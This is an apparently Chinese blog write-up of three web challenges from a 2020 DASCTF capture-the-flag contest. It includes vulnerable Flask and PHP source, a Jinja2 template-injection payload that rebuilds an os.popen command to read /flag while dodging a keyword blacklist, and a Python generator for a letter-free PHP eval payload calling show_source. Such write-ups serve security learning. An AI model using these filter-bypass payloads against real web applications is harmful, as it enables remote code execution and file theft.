2020DASCTF八月浪漫七夕战安恒月赛Writeup

Author:颖奇L’Amore
Blog:www.gem-love.com

在女朋友家,下午时候简单把题做了下,最后一个node没来得及做


安恒大学

这题是我出的,按照保密协议不能透露详细的解法,只是简单说一说出题想法,因为肯定很多人都不知道这题是考啥的。 首先,正如注释中缩写的,这是一道实战改编题,但是为了防止泄露思路,在注释中我没有给出更多的细节。由此在做渗透测试时,在一个系统的某个不起眼的地方——邮件激活链接发现了SQL注入,并得到了全校所有学生的内网平台账号密码,而学生的所有信息、所有网上办事等等几乎都使用校内网平台的账号密码,这是非常恐怖的。 同时,作为一名WEB方向的CTF选手,从CTF角度评估这道题目的话,这是否是一个好题是有待商榷的,这题的解法更像是非预期,有那种“给一大堆业务逻辑但是在无所谓的地方直接日穿”的感觉。但是渗透测试就是这样,任何地方都有可能产生漏洞,而干扰的内容又很多,只有大量的测试才能找到漏洞,所以既然是实战改编就干脆实事求是,也没必要特意改成CTF风格,CTF毕竟是比赛,以后去工作了早晚是要面对真实生产环境的。 在出题时,虽然不能百分百还原,但是本题目已经尽可能在CTF题目的基础上的还原当时的情形了:

  1. 注册、登录,注册需要邮件激活,邮件确实会发到你的邮箱里
  2. 登录后是学生信息系统(网上找的几年前的系统 还算比较符合实际 因为现在的大学用的基本还都是几年前的系统),里面有很多功能(虽然我已经删过十几种了),很具有迷惑性,每个页面都是干扰项
  3. 数据量大,在flag所在的column中塞了12条数据,用来模拟1w名学生的账号密码(毕竟是ctf题数据太多了也没意思所以就弄了12条),而不像大部分sql题select flag from flag就可以直接出flag

ezflask

之前见到过类似的题,然而忘了从哪见过了,本地存了当时的exp,直接用当时的exp就可以构造任意字符串


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''

<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

过滤的死死的了,尤其没有attr很难受,所以想办法eval,好在题目没有过滤globals,那就简单了,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。 构造payload:

#Author:颖奇L'Amore
{% set xhx = (({ }select()string()list()).pop(24)string())%} # _
{% set spa = ((app.__doc__list()).pop(102)string())%} #空格
{% set pt = ((app.__doc__list()).pop(320)string())%} #点
{% set yin = ((app.__doc__list()).pop(337)string())%} #单引号
{% set left = ((app.__doc__list()).pop(264)string())%} #左括号 (
{% set right = ((app.__doc__list()).pop(286)string())%} #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()list()).pop(349)%} #斜线/
{% set bu = dict(buil=aa,tins=dd)join() %} #builtins
{% set im = dict(imp=aa,ort=dd)join() %} #import
{% set sy = dict(po=aa,pen=dd)join() %} #popen
{% set os = dict(o=aa,s=dd)join() %} #os
{% set ca = dict(ca=aa,t=dd)join() %} #cat
{% set flg = dict(fl=aa,ag=dd)join() %} #flag
{% set ev = dict(ev=aa,al=dd)join() %} #eval
{% set red = dict(re=aa,ad=dd)join()%} #read
{% set bul = xhx*2~bu~xhx*2 %} #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
{% if f == bul %}
{% for a,b in v.items() %} #builtins
{% if a == ev %} #eval
{{b(pld)}} #eval(pld)
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

访问即可获得flag:

http://183.129.189.60:10025/?name=?{%%20set%20xhx%20=%20(({%20}select()string()list()).pop(24)string())%}{%%20set%20spa%20=%20((app.\_\_doc\_\_list()).pop(102)string())%}{%%20set%20pt%20=%20((app.\_\_doc\_\_list()).pop(320)string())%}%20{%%20set%20yin%20=%20((app.\_\_doc\_\_list()).pop(337)string())%}{%%20set%20left%20=%20((app.\_\_doc\_\_list()).pop(264)string())%}%20{%%20set%20right%20=%20((app.\_\_doc\_\_list()).pop(286)string())%}%20{%%20set%20slas%20=%20(y1ng.\_\_init\_\_.\_\_globals\_\_.\_\_repr\_\_()list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)join()%}{%%20set%20bul%20=%20xhx\*2~bu~xhx\*2%20%}{%%20set%20pld%20=%20xhx\*2~im~xhx\*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.\_\_init\_\_.\_\_globals\_\_.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

rceme

<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('you are not smart');
}
}
eval("echo($code)");
?>

一点点构造就好了,我中间出了点弱智错误导致浪费了些时间,虽然有点麻烦但是不需要用或运算,对于加固了正则的题目还可以继续打,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus

def g(payload, buff):
offset = 3 + buff
res = ""
base = 65
for i in range(len(payload)):
if payload[i] == '_' or payload[i] == '/':
continue
_ascii = ord(payload[i])
#init
underline = "$" + ("_" * (i + offset))
undefined = "$" + ("_" * (len(payload) + offset + 15))
var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
res += var;
tmp = ''
if _ascii > base:
for i in range(_ascii-base):
tmp = tmp + f"++{underline};"
res += tmp

first = "$" + ("_" * offset)
for i in range(1, len(payload)):
if payload[i] == '_':
res += f"{first}.='_';"
continue
if payload[i] == '/':
res += f"{first}.='/';"
continue
final_var = "$" + ("_" * (i + offset))
res += f"{first}.={final_var};"
return [res, "$" + "_" * (offset)]

pre = "'');"
after = '//'

buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)

buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)

buff = 0
strtolower = g('STRTOLOWER', buff)

final = ''

#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '$___' # STRTOLOWER

#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '$_____________' #SHOW_SOURCE

#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '$________________________' #/FLAG

#声明好abc变量
padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
final += padding

# 4.变量d = a(c) 则变量d为/flag
d = "$______________________________________________($________________________________________________);"
padding = '$_________________________________________________='+d
final += padding

#5. b(d) 即为SHOW_SOURCE('/flag')
final += '$_______________________________________________($_________________________________________________);'

final = pre + final
final = final + after

print(final.replace('+', '%2b'))
Author: Y1ng
Link: https://www.gem-love.com/2020/08/25/2020dasctf八月浪漫七夕战安恒月赛writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!